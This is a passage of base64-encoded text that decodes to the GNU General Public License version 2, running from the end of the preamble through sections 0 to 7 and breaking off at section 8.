0aGUgc29mdHdhcmUgaXMgZnJlZSBmb3IgYWxsIGl0cyB1c2Vycy4gIFRoaXMKR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcHBsaWVzIHRvIG1vc3Qgb2YgdGhlIEZyZWUgU29mdHdhcmUKRm91bmRhdGlvbidzIHNvZnR3YXJlIGFuZCB0byBhbnkgb3RoZXIgcHJvZ3JhbSB3aG9zZSBhdXRob3JzIGNvbW1pdCB0bwp1c2luZyBpdC4gIChTb21lIG90aGVyIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiBzb2Z0d2FyZSBpcyBjb3ZlcmVkIGJ5CnRoZSBHTlUgTGlicmFyeSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGluc3RlYWQuKSAgWW91IGNhbiBhcHBseSBpdCB0bwp5b3VyIHByb2dyYW1zLCB0b28uCgogIFdoZW4gd2Ugc3BlYWsgb2YgZnJlZSBzb2Z0d2FyZSwgd2UgYXJlIHJlZmVycmluZyB0byBmcmVlZG9tLCBub3QKcHJpY2UuICBPdXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZXMgYXJlIGRlc2lnbmVkIHRvIG1ha2Ugc3VyZSB0aGF0IHlvdQpoYXZlIHRoZSBmcmVlZG9tIHRvIGRpc3RyaWJ1dGUgY29waWVzIG9mIGZyZWUgc29mdHdhcmUgKGFuZCBjaGFyZ2UgZm9yCnRoaXMgc2VydmljZSBpZiB5b3Ugd2lzaCksIHRoYXQgeW91IHJlY2VpdmUgc291cmNlIGNvZGUgb3IgY2FuIGdldCBpdAppZiB5b3Ugd2FudCBpdCwgdGhhdCB5b3UgY2FuIGNoYW5nZSB0aGUgc29mdHdhcmUgb3IgdXNlIHBpZWNlcyBvZiBpdAppbiBuZXcgZnJlZSBwcm9ncmFtczsgYW5kIHRoYXQgeW91IGtub3cgeW91IGNhbiBkbyB0aGVzZSB0aGluZ3MuCgogIFRvIHByb3RlY3QgeW91ciByaWdodHMsIHdlIG5lZWQgdG8gbWFrZSByZXN0cmljdGlvbnMgdGhhdCBmb3JiaWQKYW55b25lIHRvIGRlbnkgeW91IHRoZXNlIHJpZ2h0cyBvciB0byBhc2sgeW91IHRvIHN1cnJlbmRlciB0aGUgcmlnaHRzLgpUaGVzZSByZXN0cmljdGlvbnMgdHJhbnNsYXRlIHRvIGNlcnRhaW4gcmVzcG9uc2liaWxpdGllcyBmb3IgeW91IGlmIHlvdQpkaXN0cmlidXRlIGNvcGllcyBvZiB0aGUgc29mdHdhcmUsIG9yIGlmIHlvdSBtb2RpZnkgaXQuCgogIEZvciBleGFtcGxlLCBpZiB5b3UgZGlzdHJpYnV0ZSBjb3BpZXMgb2Ygc3VjaCBhIHByb2dyYW0sIHdoZXRoZXIKZ3JhdGlzIG9yIGZvciBhIGZlZSwgeW91IG11c3QgZ2l2ZSB0aGUgcmVjaXBpZW50cyBhbGwgdGhlIHJpZ2h0cyB0aGF0CnlvdSBoYXZlLiAgWW91IG11c3QgbWFrZSBzdXJlIHRoYXQgdGhleSwgdG9vLCByZWNlaXZlIG9yIGNhbiBnZXQgdGhlCnNvdXJjZSBjb2RlLiAgQW5kIHlvdSBtdXN0IHNob3cgdGhlbSB0aGVzZSB0ZXJtcyBzbyB0aGV5IGtub3cgdGhlaXIKcmlnaHRzLgoKICBXZSBwcm90ZWN0IHlvdXIgcmlnaHRzIHdpdGggdHdvIHN0ZXBzOiAoMSkgY29weXJpZ2h0IHRoZSBzb2Z0d2FyZSwgYW5kCigyKSBvZmZlciB5b3UgdGhpcyBsaWNlbnNlIHdoaWNoIGdpdmVzIHlvdSBsZWdhbCBwZXJtaXNzaW9uIHRvIGNvcHksCmRpc3RyaWJ1dGUgYW5kL29yIG1vZGlmeSB0aGUgc29mdHdhcmUuCgogIEFsc28sIGZvciBlYWNoIGF1dGhvcidzIHByb3RlY3Rpb24gYW5kIG91cnMsIHdlIHdhbnQgdG8gbWFrZSBjZXJ0YWluCnRoYXQgZXZlcnlvbmUgdW5kZXJzdGFuZHMgdGhhdCB0aGVyZSBpcyBubyB3YXJyYW50eSBmb3IgdGhpcyBmcmVlCnNvZnR3YXJlLiAgSWYgdGhlIHNvZnR3YXJlIGlzIG1vZGlmaWVkIGJ5IHNvbWVvbmUgZWxzZSBhbmQgcGFzc2VkIG9uLCB3ZQp3YW50IGl0cyByZWNpcGllbnRzIHRvIGtub3cgdGhhdCB3aGF0IHRoZXkgaGF2ZSBpcyBub3QgdGhlIG9yaWdpbmFsLCBzbwp0aGF0IGFueSBwcm9ibGVtcyBpbnRyb2R1Y2VkIGJ5IG90aGVycyB3aWxsIG5vdCByZWZsZWN0IG9uIHRoZSBvcmlnaW5hbAphdXRob3JzJyByZXB1dGF0aW9ucy4KCiAgRmluYWxseSwgYW55IGZyZWUgcHJvZ3JhbSBpcyB0aHJlYXRlbmVkIGNvbnN0YW50bHkgYnkgc29mdHdhcmUKcGF0ZW50cy4gIFdlIHdpc2ggdG8gYXZvaWQgdGhlIGRhbmdlciB0aGF0IHJlZGlzdHJpYnV0b3JzIG9mIGEgZnJlZQpwcm9ncmFtIHdpbGwgaW5kaXZpZHVhbGx5IG9idGFpbiBwYXRlbnQgbGljZW5zZXMsIGluIGVmZmVjdCBtYWtpbmcgdGhlCnByb2dyYW0gcHJvcHJpZXRhcnkuICBUbyBwcmV2ZW50IHRoaXMsIHdlIGhhdmUgbWFkZSBpdCBjbGVhciB0aGF0IGFueQpwYXRlbnQgbXVzdCBiZSBsaWNlbnNlZCBmb3IgZXZlcnlvbmUncyBmcmVlIHVzZSBvciBub3QgbGljZW5zZWQgYXQgYWxsLgoKICBUaGUgcHJlY2lzZSB0ZXJtcyBhbmQgY29uZGl0aW9ucyBmb3IgY29weWluZywgZGlzdHJpYnV0aW9uIGFuZAptb2RpZmljYXRpb24gZm9sbG93LgoKCQkgICAgR05VIEdFTkVSQUwgUFVCTElDIExJQ0VOU0UKICAgVEVSTVMgQU5EIENPTkRJVElPTlMgRk9SIENPUFlJTkcsIERJU1RSSUJVVElPTiBBTkQgTU9ESUZJQ0FUSU9OCgogIDAuIFRoaXMgTGljZW5zZSBhcHBsaWVzIHRvIGFueSBwcm9ncmFtIG9yIG90aGVyIHdvcmsgd2hpY2ggY29udGFpbnMKYSBub3RpY2UgcGxhY2VkIGJ5IHRoZSBjb3B5cmlnaHQgaG9sZGVyIHNheWluZyBpdCBtYXkgYmUgZGlzdHJpYnV0ZWQKdW5kZXIgdGhlIHRlcm1zIG9mIHRoaXMgR2VuZXJhbCBQdWJsaWMgTGljZW5zZS4gIFRoZSAiUHJvZ3JhbSIsIGJlbG93LApyZWZlcnMgdG8gYW55IHN1Y2ggcHJvZ3JhbSBvciB3b3JrLCBhbmQgYSAid29yayBiYXNlZCBvbiB0aGUgUHJvZ3JhbSIKbWVhbnMgZWl0aGVyIHRoZSBQcm9ncmFtIG9yIGFueSBkZXJpdmF0aXZlIHdvcmsgdW5kZXIgY29weXJpZ2h0IGxhdzoKdGhhdCBpcyB0byBzYXksIGEgd29yayBjb250YWluaW5nIHRoZSBQcm9ncmFtIG9yIGEgcG9ydGlvbiBvZiBpdCwKZWl0aGVyIHZlcmJhdGltIG9yIHdpdGggbW9kaWZpY2F0aW9ucyBhbmQvb3IgdHJhbnNsYXRlZCBpbnRvIGFub3RoZXIKbGFuZ3VhZ2UuICAoSGVyZWluYWZ0ZXIsIHRyYW5zbGF0aW9uIGlzIGluY2x1ZGVkIHdpdGhvdXQgbGltaXRhdGlvbiBpbgp0aGUgdGVybSAibW9kaWZpY2F0aW9uIi4pICBFYWNoIGxpY2Vuc2VlIGlzIGFkZHJlc3NlZCBhcyAieW91Ii4KCkFjdGl2aXRpZXMgb3RoZXIgdGhhbiBjb3B5aW5nLCBkaXN0cmlidXRpb24gYW5kIG1vZGlmaWNhdGlvbiBhcmUgbm90CmNvdmVyZWQgYnkgdGhpcyBMaWNlbnNlOyB0aGV5IGFyZSBvdXRzaWRlIGl0cyBzY29wZS4gIFRoZSBhY3Qgb2YKcnVubmluZyB0aGUgUHJvZ3JhbSBpcyBub3QgcmVzdHJpY3RlZCwgYW5kIHRoZSBvdXRwdXQgZnJvbSB0aGUgUHJvZ3JhbQppcyBjb3ZlcmVkIG9ubHkgaWYgaXRzIGNvbnRlbnRzIGNvbnN0aXR1dGUgYSB3b3JrIGJhc2VkIG9uIHRoZQpQcm9ncmFtIChpbmRlcGVuZGVudCBvZiBoYXZpbmcgYmVlbiBtYWRlIGJ5IHJ1bm5pbmcgdGhlIFByb2dyYW0pLgpXaGV0aGVyIHRoYXQgaXMgdHJ1ZSBkZXBlbmRzIG9uIHdoYXQgdGhlIFByb2dyYW0gZG9lcy4KCiAgMS4gWW91IG1heSBjb3B5IGFuZCBkaXN0cmlidXRlIHZlcmJhdGltIGNvcGllcyBvZiB0aGUgUHJvZ3JhbSdzCnNvdXJjZSBjb2RlIGFzIHlvdSByZWNlaXZlIGl0LCBpbiBhbnkgbWVkaXVtLCBwcm92aWRlZCB0aGF0IHlvdQpjb25zcGljdW91c2x5IGFuZCBhcHByb3ByaWF0ZWx5IHB1Ymxpc2ggb24gZWFjaCBjb3B5IGFuIGFwcHJvcHJpYXRlCmNvcHlyaWdodCBub3RpY2UgYW5kIGRpc2NsYWltZXIgb2Ygd2FycmFudHk7IGtlZXAgaW50YWN0IGFsbCB0aGUKbm90aWNlcyB0aGF0IHJlZmVyIHRvIHRoaXMgTGljZW5zZSBhbmQgdG8gdGhlIGFic2VuY2Ugb2YgYW55IHdhcnJhbnR5OwphbmQgZ2l2ZSBhbnkgb3RoZXIgcmVjaXBpZW50cyBvZiB0aGUgUHJvZ3JhbSBhIGNvcHkgb2YgdGhpcyBMaWNlbnNlCmFsb25nIHdpdGggdGhlIFByb2dyYW0uCgpZb3UgbWF5IGNoYXJnZSBhIGZlZSBmb3IgdGhlIHBoeXNpY2FsIGFjdCBvZiB0cmFuc2ZlcnJpbmcgYSBjb3B5LCBhbmQKeW91IG1heSBhdCB5b3VyIG9wdGlvbiBvZmZlciB3YXJyYW50eSBwcm90ZWN0aW9uIGluIGV4Y2hhbmdlIGZvciBhIGZlZS4KCiAgMi4gWW91IG1heSBtb2RpZnkgeW91ciBjb3B5IG9yIGNvcGllcyBvZiB0aGUgUHJvZ3JhbSBvciBhbnkgcG9ydGlvbgpvZiBpdCwgdGh1cyBmb3JtaW5nIGEgd29yayBiYXNlZCBvbiB0aGUgUHJvZ3JhbSwgYW5kIGNvcHkgYW5kCmRpc3RyaWJ1dGUgc3VjaCBtb2RpZmljYXRpb25zIG9yIHdvcmsgdW5kZXIgdGhlIHRlcm1zIG9mIFNlY3Rpb24gMQphYm92ZSwgcHJvdmlkZWQgdGhhdCB5b3UgYWxzbyBtZWV0IGFsbCBvZiB0aGVzZSBjb25kaXRpb25zOgoKICAgIGEpIFlvdSBtdXN0IGNhdXNlIHRoZSBtb2RpZmllZCBmaWxlcyB0byBjYXJyeSBwcm9taW5lbnQgbm90aWNlcwogICAgc3RhdGluZyB0aGF0IHlvdSBjaGFuZ2VkIHRoZSBmaWxlcyBhbmQgdGhlIGRhdGUgb2YgYW55IGNoYW5nZS4KCiAgICBiKSBZb3UgbXVzdCBjYXVzZSBhbnkgd29yayB0aGF0IHlvdSBkaXN0cmlidXRlIG9yIHB1Ymxpc2gsIHRoYXQgaW4KICAgIHdob2xlIG9yIGluIHBhcnQgY29udGFpbnMgb3IgaXMgZGVyaXZlZCBmcm9tIHRoZSBQcm9ncmFtIG9yIGFueQogICAgcGFydCB0aGVyZW9mLCB0byBiZSBsaWNlbnNlZCBhcyBhIHdob2xlIGF0IG5vIGNoYXJnZSB0byBhbGwgdGhpcmQKICAgIHBhcnRpZXMgdW5kZXIgdGhlIHRlcm1zIG9mIHRoaXMgTGljZW5zZS4KCiAgICBjKSBJZiB0aGUgbW9kaWZpZWQgcHJvZ3JhbSBub3JtYWxseSByZWFkcyBjb21tYW5kcyBpbnRlcmFjdGl2ZWx5CiAgICB3aGVuIHJ1biwgeW91IG11c3QgY2F1c2UgaXQsIHdoZW4gc3RhcnRlZCBydW5uaW5nIGZvciBzdWNoCiAgICBpbnRlcmFjdGl2ZSB1c2UgaW4gdGhlIG1vc3Qgb3JkaW5hcnkgd2F5LCB0byBwcmludCBvciBkaXNwbGF5IGFuCiAgICBhbm5vdW5jZW1lbnQgaW5jbHVkaW5nIGFuIGFwcHJvcHJpYXRlIGNvcHlyaWdodCBub3RpY2UgYW5kIGEKICAgIG5vdGljZSB0aGF0IHRoZXJlIGlzIG5vIHdhcnJhbnR5IChvciBlbHNlLCBzYXlpbmcgdGhhdCB5b3UgcHJvdmlkZQogICAgYSB3YXJyYW50eSkgYW5kIHRoYXQgdXNlcnMgbWF5IHJlZGlzdHJpYnV0ZSB0aGUgcHJvZ3JhbSB1bmRlcgogICAgdGhlc2UgY29uZGl0aW9ucywgYW5kIHRlbGxpbmcgdGhlIHVzZXIgaG93IHRvIHZpZXcgYSBjb3B5IG9mIHRoaXMKICAgIExpY2Vuc2UuICAoRXhjZXB0aW9uOiBpZiB0aGUgUHJvZ3JhbSBpdHNlbGYgaXMgaW50ZXJhY3RpdmUgYnV0CiAgICBkb2VzIG5vdCBub3JtYWxseSBwcmludCBzdWNoIGFuIGFubm91bmNlbWVudCwgeW91ciB3b3JrIGJhc2VkIG9uCiAgICB0aGUgUHJvZ3JhbSBpcyBub3QgcmVxdWlyZWQgdG8gcHJpbnQgYW4gYW5ub3VuY2VtZW50LikKClRoZXNlIHJlcXVpcmVtZW50cyBhcHBseSB0byB0aGUgbW9kaWZpZWQgd29yayBhcyBhIHdob2xlLiAgSWYKaWRlbnRpZmlhYmxlIHNlY3Rpb25zIG9mIHRoYXQgd29yayBhcmUgbm90IGRlcml2ZWQgZnJvbSB0aGUgUHJvZ3JhbSwKYW5kIGNhbiBiZSByZWFzb25hYmx5IGNvbnNpZGVyZWQgaW5kZXBlbmRlbnQgYW5kIHNlcGFyYXRlIHdvcmtzIGluCnRoZW1zZWx2ZXMsIHRoZW4gdGhpcyBMaWNlbnNlLCBhbmQgaXRzIHRlcm1zLCBkbyBub3QgYXBwbHkgdG8gdGhvc2UKc2VjdGlvbnMgd2hlbiB5b3UgZGlzdHJpYnV0ZSB0aGVtIGFzIHNlcGFyYXRlIHdvcmtzLiAgQnV0IHdoZW4geW91CmRpc3RyaWJ1dGUgdGhlIHNhbWUgc2VjdGlvbnMgYXMgcGFydCBvZiBhIHdob2xlIHdoaWNoIGlzIGEgd29yayBiYXNlZApvbiB0aGUgUHJvZ3JhbSwgdGhlIGRpc3RyaWJ1dGlvbiBvZiB0aGUgd2hvbGUgbXVzdCBiZSBvbiB0aGUgdGVybXMgb2YKdGhpcyBMaWNlbnNlLCB3aG9zZSBwZXJtaXNzaW9ucyBmb3Igb3RoZXIgbGljZW5zZWVzIGV4dGVuZCB0byB0aGUKZW50aXJlIHdob2xlLCBhbmQgdGh1cyB0byBlYWNoIGFuZCBldmVyeSBwYXJ0IHJlZ2FyZGxlc3Mgb2Ygd2hvIHdyb3RlIGl0LgpUaHVzLCBpdCBpcyBub3QgdGhlIGludGVudCBvZiB0aGlzIHNlY3Rpb24gdG8gY2xhaW0gcmlnaHRzIG9yIGNvbnRlc3QKeW91ciByaWdodHMgdG8gd29yayB3cml0dGVuIGVudGlyZWx5IGJ5IHlvdTsgcmF0aGVyLCB0aGUgaW50ZW50IGlzIHRvCmV4ZXJjaXNlIHRoZSByaWdodCB0byBjb250cm9sIHRoZSBkaXN0cmlidXRpb24gb2YgZGVyaXZhdGl2ZSBvcgpjb2xsZWN0aXZlIHdvcmtzIGJhc2VkIG9uIHRoZSBQcm9ncmFtLgoKSW4gYWRkaXRpb24sIG1lcmUgYWdncmVnYXRpb24gb2YgYW5vdGhlciB3b3JrIG5vdCBiYXNlZCBvbiB0aGUgUHJvZ3JhbQp3aXRoIHRoZSBQcm9ncmFtIChvciB3aXRoIGEgd29yayBiYXNlZCBvbiB0aGUgUHJvZ3JhbSkgb24gYSB2b2x1bWUgb2YKYSBzdG9yYWdlIG9yIGRpc3RyaWJ1dGlvbiBtZWRpdW0gZG9lcyBub3QgYnJpbmcgdGhlIG90aGVyIHdvcmsgdW5kZXIKdGhlIHNjb3BlIG9mIHRoaXMgTGljZW5zZS4KCiAgMy4gWW91IG1heSBjb3B5IGFuZCBkaXN0cmlidXRlIHRoZSBQcm9ncmFtIChvciBhIHdvcmsgYmFzZWQgb24gaXQsCnVuZGVyIFNlY3Rpb24gMikgaW4gb2JqZWN0IGNvZGUgb3IgZXhlY3V0YWJsZSBmb3JtIHVuZGVyIHRoZSB0ZXJtcyBvZgpTZWN0aW9ucyAxIGFuZCAyIGFib3ZlIHByb3ZpZGVkIHRoYXQgeW91IGFsc28gZG8gb25lIG9mIHRoZSBmb2xsb3dpbmc6CgogICAgYSkgQWNjb21wYW55IGl0IHdpdGggdGhlIGNvbXBsZXRlIGNvcnJlc3BvbmRpbmcgbWFjaGluZS1yZWFkYWJsZQogICAgc291cmNlIGNvZGUsIHdoaWNoIG11c3QgYmUgZGlzdHJpYnV0ZWQgdW5kZXIgdGhlIHRlcm1zIG9mIFNlY3Rpb25zCiAgICAxIGFuZCAyIGFib3ZlIG9uIGEgbWVkaXVtIGN1c3RvbWFyaWx5IHVzZWQgZm9yIHNvZnR3YXJlIGludGVyY2hhbmdlOyBvciwKCiAgICBiKSBBY2NvbXBhbnkgaXQgd2l0aCBhIHdyaXR0ZW4gb2ZmZXIsIHZhbGlkIGZvciBhdCBsZWFzdCB0aHJlZQogICAgeWVhcnMsIHRvIGdpdmUgYW55IHRoaXJkIHBhcnR5LCBmb3IgYSBjaGFyZ2Ugbm8gbW9yZSB0aGFuIHlvdXIKICAgIGNvc3Qgb2YgcGh5c2ljYWxseSBwZXJmb3JtaW5nIHNvdXJjZSBkaXN0cmlidXRpb24sIGEgY29tcGxldGUKICAgIG1hY2hpbmUtcmVhZGFibGUgY29weSBvZiB0aGUgY29ycmVzcG9uZGluZyBzb3VyY2UgY29kZSwgdG8gYmUKICAgIGRpc3RyaWJ1dGVkIHVuZGVyIHRoZSB0ZXJtcyBvZiBTZWN0aW9ucyAxIGFuZCAyIGFib3ZlIG9uIGEgbWVkaXVtCiAgICBjdXN0b21hcmlseSB1c2VkIGZvciBzb2Z0d2FyZSBpbnRlcmNoYW5nZTsgb3IsCgogICAgYykgQWNjb21wYW55IGl0IHdpdGggdGhlIGluZm9ybWF0aW9uIHlvdSByZWNlaXZlZCBhcyB0byB0aGUgb2ZmZXIKICAgIHRvIGRpc3RyaWJ1dGUgY29ycmVzcG9uZGluZyBzb3VyY2UgY29kZS4gIChUaGlzIGFsdGVybmF0aXZlIGlzCiAgICBhbGxvd2VkIG9ubHkgZm9yIG5vbmNvbW1lcmNpYWwgZGlzdHJpYnV0aW9uIGFuZCBvbmx5IGlmIHlvdQogICAgcmVjZWl2ZWQgdGhlIHByb2dyYW0gaW4gb2JqZWN0IGNvZGUgb3IgZXhlY3V0YWJsZSBmb3JtIHdpdGggc3VjaAogICAgYW4gb2ZmZXIsIGluIGFjY29yZCB3aXRoIFN1YnNlY3Rpb24gYiBhYm92ZS4pCgpUaGUgc291cmNlIGNvZGUgZm9yIGEgd29yayBtZWFucyB0aGUgcHJlZmVycmVkIGZvcm0gb2YgdGhlIHdvcmsgZm9yCm1ha2luZyBtb2RpZmljYXRpb25zIHRvIGl0LiAgRm9yIGFuIGV4ZWN1dGFibGUgd29yaywgY29tcGxldGUgc291cmNlCmNvZGUgbWVhbnMgYWxsIHRoZSBzb3VyY2UgY29kZSBmb3IgYWxsIG1vZHVsZXMgaXQgY29udGFpbnMsIHBsdXMgYW55CmFzc29jaWF0ZWQgaW50ZXJmYWNlIGRlZmluaXRpb24gZmlsZXMsIHBsdXMgdGhlIHNjcmlwdHMgdXNlZCB0bwpjb250cm9sIGNvbXBpbGF0aW9uIGFuZCBpbnN0YWxsYXRpb24gb2YgdGhlIGV4ZWN1dGFibGUuICBIb3dldmVyLCBhcyBhCnNwZWNpYWwgZXhjZXB0aW9uLCB0aGUgc291cmNlIGNvZGUgZGlzdHJpYnV0ZWQgbmVlZCBub3QgaW5jbHVkZQphbnl0aGluZyB0aGF0IGlzIG5vcm1hbGx5IGRpc3RyaWJ1dGVkIChpbiBlaXRoZXIgc291cmNlIG9yIGJpbmFyeQpmb3JtKSB3aXRoIHRoZSBtYWpvciBjb21wb25lbnRzIChjb21waWxlciwga2VybmVsLCBhbmQgc28gb24pIG9mIHRoZQpvcGVyYXRpbmcgc3lzdGVtIG9uIHdoaWNoIHRoZSBleGVjdXRhYmxlIHJ1bnMsIHVubGVzcyB0aGF0IGNvbXBvbmVudAppdHNlbGYgYWNjb21wYW5pZXMgdGhlIGV4ZWN1dGFibGUuCgpJZiBkaXN0cmlidXRpb24gb2YgZXhlY3V0YWJsZSBvciBvYmplY3QgY29kZSBpcyBtYWRlIGJ5IG9mZmVyaW5nCmFjY2VzcyB0byBjb3B5IGZyb20gYSBkZXNpZ25hdGVkIHBsYWNlLCB0aGVuIG9mZmVyaW5nIGVxdWl2YWxlbnQKYWNjZXNzIHRvIGNvcHkgdGhlIHNvdXJjZSBjb2RlIGZyb20gdGhlIHNhbWUgcGxhY2UgY291bnRzIGFzCmRpc3RyaWJ1dGlvbiBvZiB0aGUgc291cmNlIGNvZGUsIGV2ZW4gdGhvdWdoIHRoaXJkIHBhcnRpZXMgYXJlIG5vdApjb21wZWxsZWQgdG8gY29weSB0aGUgc291cmNlIGFsb25nIHdpdGggdGhlIG9iamVjdCBjb2RlLgoKICA0LiBZb3UgbWF5IG5vdCBjb3B5LCBtb2RpZnksIHN1YmxpY2Vuc2UsIG9yIGRpc3RyaWJ1dGUgdGhlIFByb2dyYW0KZXhjZXB0IGFzIGV4cHJlc3NseSBwcm92aWRlZCB1bmRlciB0aGlzIExpY2Vuc2UuICBBbnkgYXR0ZW1wdApvdGhlcndpc2UgdG8gY29weSwgbW9kaWZ5LCBzdWJsaWNlbnNlIG9yIGRpc3RyaWJ1dGUgdGhlIFByb2dyYW0gaXMKdm9pZCwgYW5kIHdpbGwgYXV0b21hdGljYWxseSB0ZXJtaW5hdGUgeW91ciByaWdodHMgdW5kZXIgdGhpcyBMaWNlbnNlLgpIb3dldmVyLCBwYXJ0aWVzIHdobyBoYXZlIHJlY2VpdmVkIGNvcGllcywgb3IgcmlnaHRzLCBmcm9tIHlvdSB1bmRlcgp0aGlzIExpY2Vuc2Ugd2lsbCBub3QgaGF2ZSB0aGVpciBsaWNlbnNlcyB0ZXJtaW5hdGVkIHNvIGxvbmcgYXMgc3VjaApwYXJ0aWVzIHJlbWFpbiBpbiBmdWxsIGNvbXBsaWFuY2UuCgogIDUuIFlvdSBhcmUgbm90IHJlcXVpcmVkIHRvIGFjY2VwdCB0aGlzIExpY2Vuc2UsIHNpbmNlIHlvdSBoYXZlIG5vdApzaWduZWQgaXQuICBIb3dldmVyLCBub3RoaW5nIGVsc2UgZ3JhbnRzIHlvdSBwZXJtaXNzaW9uIHRvIG1vZGlmeSBvcgpkaXN0cmlidXRlIHRoZSBQcm9ncmFtIG9yIGl0cyBkZXJpdmF0aXZlIHdvcmtzLiAgVGhlc2UgYWN0aW9ucyBhcmUKcHJvaGliaXRlZCBieSBsYXcgaWYgeW91IGRvIG5vdCBhY2NlcHQgdGhpcyBMaWNlbnNlLiAgVGhlcmVmb3JlLCBieQptb2RpZnlpbmcgb3IgZGlzdHJpYnV0aW5nIHRoZSBQcm9ncmFtIChvciBhbnkgd29yayBiYXNlZCBvbiB0aGUKUHJvZ3JhbSksIHlvdSBpbmRpY2F0ZSB5b3VyIGFjY2VwdGFuY2Ugb2YgdGhpcyBMaWNlbnNlIHRvIGRvIHNvLCBhbmQKYWxsIGl0cyB0ZXJtcyBhbmQgY29uZGl0aW9ucyBmb3IgY29weWluZywgZGlzdHJpYnV0aW5nIG9yIG1vZGlmeWluZwp0aGUgUHJvZ3JhbSBvciB3b3JrcyBiYXNlZCBvbiBpdC4KCiAgNi4gRWFjaCB0aW1lIHlvdSByZWRpc3RyaWJ1dGUgdGhlIFByb2dyYW0gKG9yIGFueSB3b3JrIGJhc2VkIG9uIHRoZQpQcm9ncmFtKSwgdGhlIHJlY2lwaWVudCBhdXRvbWF0aWNhbGx5IHJlY2VpdmVzIGEgbGljZW5zZSBmcm9tIHRoZQpvcmlnaW5hbCBsaWNlbnNvciB0byBjb3B5LCBkaXN0cmlidXRlIG9yIG1vZGlmeSB0aGUgUHJvZ3JhbSBzdWJqZWN0IHRvCnRoZXNlIHRlcm1zIGFuZCBjb25kaXRpb25zLiAgWW91IG1heSBub3QgaW1wb3NlIGFueSBmdXJ0aGVyCnJlc3RyaWN0aW9ucyBvbiB0aGUgcmVjaXBpZW50cycgZXhlcmNpc2Ugb2YgdGhlIHJpZ2h0cyBncmFudGVkIGhlcmVpbi4KWW91IGFyZSBub3QgcmVzcG9uc2libGUgZm9yIGVuZm9yY2luZyBjb21wbGlhbmNlIGJ5IHRoaXJkIHBhcnRpZXMgdG8KdGhpcyBMaWNlbnNlLgoKICA3LiBJZiwgYXMgYSBjb25zZXF1ZW5jZSBvZiBhIGNvdXJ0IGp1ZGdtZW50IG9yIGFsbGVnYXRpb24gb2YgcGF0ZW50CmluZnJpbmdlbWVudCBvciBmb3IgYW55IG90aGVyIHJlYXNvbiAobm90IGxpbWl0ZWQgdG8gcGF0ZW50IGlzc3VlcyksCmNvbmRpdGlvbnMgYXJlIGltcG9zZWQgb24geW91ICh3aGV0aGVyIGJ5IGNvdXJ0IG9yZGVyLCBhZ3JlZW1lbnQgb3IKb3RoZXJ3aXNlKSB0aGF0IGNvbnRyYWRpY3QgdGhlIGNvbmRpdGlvbnMgb2YgdGhpcyBMaWNlbnNlLCB0aGV5IGRvIG5vdApleGN1c2UgeW91IGZyb20gdGhlIGNvbmRpdGlvbnMgb2YgdGhpcyBMaWNlbnNlLiAgSWYgeW91IGNhbm5vdApkaXN0cmlidXRlIHNvIGFzIHRvIHNhdGlzZnkgc2ltdWx0YW5lb3VzbHkgeW91ciBvYmxpZ2F0aW9ucyB1bmRlciB0aGlzCkxpY2Vuc2UgYW5kIGFueSBvdGhlciBwZXJ0aW5lbnQgb2JsaWdhdGlvbnMsIHRoZW4gYXMgYSBjb25zZXF1ZW5jZSB5b3UKbWF5IG5vdCBkaXN0cmlidXRlIHRoZSBQcm9ncmFtIGF0IGFsbC4gIEZvciBleGFtcGxlLCBpZiBhIHBhdGVudApsaWNlbnNlIHdvdWxkIG5vdCBwZXJtaXQgcm95YWx0eS1mcmVlIHJlZGlzdHJpYnV0aW9uIG9mIHRoZSBQcm9ncmFtIGJ5CmFsbCB0aG9zZSB3aG8gcmVjZWl2ZSBjb3BpZXMgZGlyZWN0bHkgb3IgaW5kaXJlY3RseSB0aHJvdWdoIHlvdSwgdGhlbgp0aGUgb25seSB3YXkgeW91IGNvdWxkIHNhdGlzZnkgYm90aCBpdCBhbmQgdGhpcyBMaWNlbnNlIHdvdWxkIGJlIHRvCnJlZnJhaW4gZW50aXJlbHkgZnJvbSBkaXN0cmlidXRpb24gb2YgdGhlIFByb2dyYW0uCgpJZiBhbnkgcG9ydGlvbiBvZiB0aGlzIHNlY3Rpb24gaXMgaGVsZCBpbnZhbGlkIG9yIHVuZW5mb3JjZWFibGUgdW5kZXIKYW55IHBhcnRpY3VsYXIgY2lyY3Vtc3RhbmNlLCB0aGUgYmFsYW5jZSBvZiB0aGUgc2VjdGlvbiBpcyBpbnRlbmRlZCB0bwphcHBseSBhbmQgdGhlIHNlY3Rpb24gYXMgYSB3aG9sZSBpcyBpbnRlbmRlZCB0byBhcHBseSBpbiBvdGhlcgpjaXJjdW1zdGFuY2VzLgoKSXQgaXMgbm90IHRoZSBwdXJwb3NlIG9mIHRoaXMgc2VjdGlvbiB0byBpbmR1Y2UgeW91IHRvIGluZnJpbmdlIGFueQpwYXRlbnRzIG9yIG90aGVyIHByb3BlcnR5IHJpZ2h0IGNsYWltcyBvciB0byBjb250ZXN0IHZhbGlkaXR5IG9mIGFueQpzdWNoIGNsYWltczsgdGhpcyBzZWN0aW9uIGhhcyB0aGUgc29sZSBwdXJwb3NlIG9mIHByb3RlY3RpbmcgdGhlCmludGVncml0eSBvZiB0aGUgZnJlZSBzb2Z0d2FyZSBkaXN0cmlidXRpb24gc3lzdGVtLCB3aGljaCBpcwppbXBsZW1lbnRlZCBieSBwdWJsaWMgbGljZW5zZSBwcmFjdGljZXMuICBNYW55IHBlb3BsZSBoYXZlIG1hZGUKZ2VuZXJvdXMgY29udHJpYnV0aW9ucyB0byB0aGUgd2lkZSByYW5nZSBvZiBzb2Z0d2FyZSBkaXN0cmlidXRlZAp0aHJvdWdoIHRoYXQgc3lzdGVtIGluIHJlbGlhbmNlIG9uIGNvbnNpc3RlbnQgYXBwbGljYXRpb24gb2YgdGhhdApzeXN0ZW07IGl0IGlzIHVwIHRvIHRoZSBhdXRob3IvZG9ub3IgdG8gZGVjaWRlIGlmIGhlIG9yIHNoZSBpcyB3aWxsaW5nCnRvIGRpc3RyaWJ1dGUgc29mdHdhcmUgdGhyb3VnaCBhbnkgb3RoZXIgc3lzdGVtIGFuZCBhIGxpY2Vuc2VlIGNhbm5vdAppbXBvc2UgdGhhdCBjaG9pY2UuCgpUaGlzIHNlY3Rpb24gaXMgaW50ZW5kZWQgdG8gbWFrZSB0aG9yb3VnaGx5IGNsZWFyIHdoYXQgaXMgYmVsaWV2ZWQgdG8KYmUgYSBjb25zZXF1ZW5jZSBvZiB0aGUgcmVzdCBvZiB0aGlzIExpY2Vuc2UuCgogIDguIElmIHRoZ